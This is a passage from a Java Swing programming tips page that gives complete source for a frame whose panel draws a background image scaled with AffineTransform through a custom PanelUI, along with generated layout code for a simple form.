Conclusion:
We can instantly class AffineTransform to scaling image.
Complete Source:
/*
* JPanelBackgroundImageResize.java
*
* Created on 16 Juli 2008, 14:39
*/
package org.kazao.tips.tip002;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.geom.AffineTransform;
import java.awt.image.BufferedImage;
import javax.swing.ImageIcon;
import javax.swing.JComponent;
import javax.swing.plaf.PanelUI;
/**
*
* @author Mr. Kazao
*/
public class JPanelBackgroundImageResize extends javax.swing.JFrame {
/** Creates new form JPanelBackgroundImageResize */
public JPanelBackgroundImageResize() {
initComponents();
container.setUI(new BackgroundUI());
}
class BackgroundUI extends PanelUI {
ImageIcon background = new ImageIcon(getClass().getResource("nature.jpg"));
@Override
public void paint(Graphics g, JComponent c) {
int width = c.getWidth();
int height = c.getHeight();
float rasio_x = (float) width / background.getIconWidth();
float rasio_y = (float) height / background.getIconHeight();
BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
Graphics2D g2 = image.createGraphics();
AffineTransform at = AffineTransform.getScaleInstance(rasio_x, rasio_y);
g2.drawImage(background.getImage(), at, null);
g2.dispose();
g.drawImage(image, 0, 0, null);
}
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
////GEN-BEGIN:initComponents //GEN-END:initComponents
private void initComponents() {
container = new javax.swing.JPanel();
panel = new javax.swing.JPanel();
labelId = new javax.swing.JLabel();
textId = new javax.swing.JTextField();
labelName = new javax.swing.JLabel();
textName = new javax.swing.JTextField();
labelAddress = new javax.swing.JLabel();
textAddress = new javax.swing.JTextField();
separator1 = new javax.swing.JSeparator();
scroller = new javax.swing.JScrollPane();
table = new javax.swing.JTable();
buttonClose = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("Creating background image on JPanel w/o extends JPanel");
container.setName("container"); // NOI18N
panel.setBorder(javax.swing.BorderFactory.createEtchedBorder());
panel.setName("panel"); // NOI18N
panel.setOpaque(false);
labelId.setText("ID:");
labelId.setName("labelId"); // NOI18N
textId.setName("textId"); // NOI18N
labelName.setText("Name:");
labelName.setName("labelName"); // NOI18N
textName.setName("textName"); // NOI18N
labelAddress.setText("Address:");
labelAddress.setName("labelAddress"); // NOI18N
textAddress.setName("textAddress"); // NOI18N
separator1.setName("separator1"); // NOI18N
scroller.setName("scroller"); // NOI18N
scroller.setOpaque(false);
table.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
table.setName("table"); // NOI18N
table.setOpaque(false);
scroller.setViewportView(table);
javax.swing.GroupLayout panelLayout = new javax.swing.GroupLayout(panel);
panel.setLayout(panelLayout);
panelLayout.setHorizontalGroup(
panelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, panelLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(scroller, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 382, Short.MAX_VALUE)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, panelLayout.createSequentialGroup()
.addGroup(panelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, panelLayout.createSequentialGroup()
.addComponent(labelId)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(textId, javax.swing.GroupLayout.PREFERRED_SIZE, 64, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, panelLayout.createSequentialGroup()
.addComponent(labelName)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(textName, javax.swing.GroupLayout.DEFAULT_SIZE, 335, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, panelLayout.createSequentialGroup()
.addComponent(labelAddress)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(textAddress, javax.swing.GroupLayout.DEFAULT_SIZE, 335, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED))
.addComponent(separator1, javax.swing.GroupLayout.DEFAULT_SIZE, 382, Short.MAX_VALUE))
.addContainerGap())
);
panelLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {labelAddress, labelId, labelName});
panelLayout.setVerticalGroup(
panelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelId)
.addComponent(textId, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(panelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelName)
.addComponent(textName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(panelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelAddress)
.addComponent(textAddress, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(8, 8, 8)
.addComponent(separator1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 152, Short.MAX_VALUE)
.addContainerGap())
);
buttonClose.setText("Close");
buttonClose.setName("buttonClose"); // NOI18N
buttonClose.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonCloseActionPerformed(evt);
}
});
javax.swing.GroupLayout containerLayout = new javax.swing.GroupLayout(container);
container.setLayout(containerLayout);
containerLayout.setHorizontalGroup(
containerLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(containerLayout.createSequentialGroup()
.addContainerGap()
.addGroup(containerLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(buttonClose, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(panel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
containerLayout.setVerticalGroup(
containerLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, containerLayout.createSequentialGroup()
.addContainerGap()
.addComponent(panel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(buttonClose)
.addContainerGap())
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(container, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(container, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
pack();
}//
private void buttonCloseActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonCloseActionPerformed
System.exit(0);
}//GEN-LAST:event_buttonCloseActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JPanelBackgroundImageResize().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.JButton buttonClose;
public javax.swing.JPanel container;
public javax.swing.JLabel labelAddress;
public javax.swing.JLabel labelId;
public javax.swing.JLabel labelName;
public javax.swing.JPanel panel;
public javax.swing.JScrollPane scroller;
public javax.swing.JSeparator separator1;
public javax.swing.JTable table;
public javax.swing.JTextField textAddress;
public javax.swing.JTextField textId;
public javax.swing.JTextField textName;
// End of variables declaration//GEN-END:variables
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
